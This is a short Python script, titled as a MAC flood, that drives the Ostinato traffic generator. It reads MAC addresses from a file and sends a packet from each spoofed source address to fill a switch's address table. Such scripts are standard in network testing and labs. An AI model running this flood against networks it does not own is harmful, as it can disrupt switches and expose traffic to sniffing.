Ostinato MAC flood simple python script

from simple_ostinato import Drone
from simple_ostinato.protocols import Mac, Ethernet, IPv4, Payload
import time, sys

# connect to the drone instance that runs on localhost
drone = Drone('localhost')

drone.fetch_ports()
port=drone.ports[0]

stream = port.add_stream()
# configure the stream
stream.name = 'a_stream'
stream.unit = 'PACKETS'
stream.mode = 'FIXED'
stream.next = 'STOP'
stream.num_packets = 1
stream.packets_per_sec = 100
stream.is_enabled = True

macs = open('macaddresses2.list','r')
for mac_i, mac in enumerate(macs):
    mac = mac.replace('.','')
    mac = ":".join([mac[i:i+2] for i in range(0, len(mac), 2)])[:-2]
    print mac
    stream.layers = [
        Mac(source=mac, destination='00:01:02:03:04:05'),
        Ethernet(ether_type=0x800),
        IPv4(source='1.1.1.1', destination='2.2.2.2'),
        Payload()]
    stream.save()

    port.start_send()